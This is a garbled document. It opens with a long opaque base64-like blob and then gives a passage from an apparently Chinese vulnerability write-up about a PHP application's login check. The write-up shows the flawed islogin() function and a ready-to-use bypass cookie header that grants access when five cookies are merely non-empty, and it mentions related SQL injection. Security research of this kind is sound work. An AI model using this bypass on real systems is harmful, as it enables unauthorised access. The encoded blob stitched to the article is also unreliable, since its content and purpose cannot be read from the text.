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<h2 id=toc-3><strong>逻辑缺陷登陆绕过漏洞</strong></h2>
<p>前面的SQL注入都是未包含鉴权文件checklogin.php引起的,那我们可以去观察下这个文件。发现鉴权写的有很多问题,只要保证以下参数值不为空且存在即可绕过。<br>
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;</p>
<div class=highlight><pre><span></span><span class=x>function islogin(){</span>
<span class=x> if(isset($_COOKIE['id'])&amp;&amp;isset($_COOKIE['loginname'])&amp;&amp;isset($_COOKIE['jueseid'])&amp;&amp;isset($_COOKIE['danweiid'])&amp;&amp;isset($_COOKIE['quanxian'])){</span>
<span class=x> if($_COOKIE['id']!=''&amp;&amp;$_COOKIE['loginname']!=''&amp;&amp;$_COOKIE['jueseid']!=''&amp;&amp;$_COOKIE['danweiid']!=''&amp;&amp;$_COOKIE['quanxian']!=''){</span>
<span class=x> return true;</span>
<span class=x> }</span>
</pre></div>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095417-caabb2d0-cec9-1.png title><img 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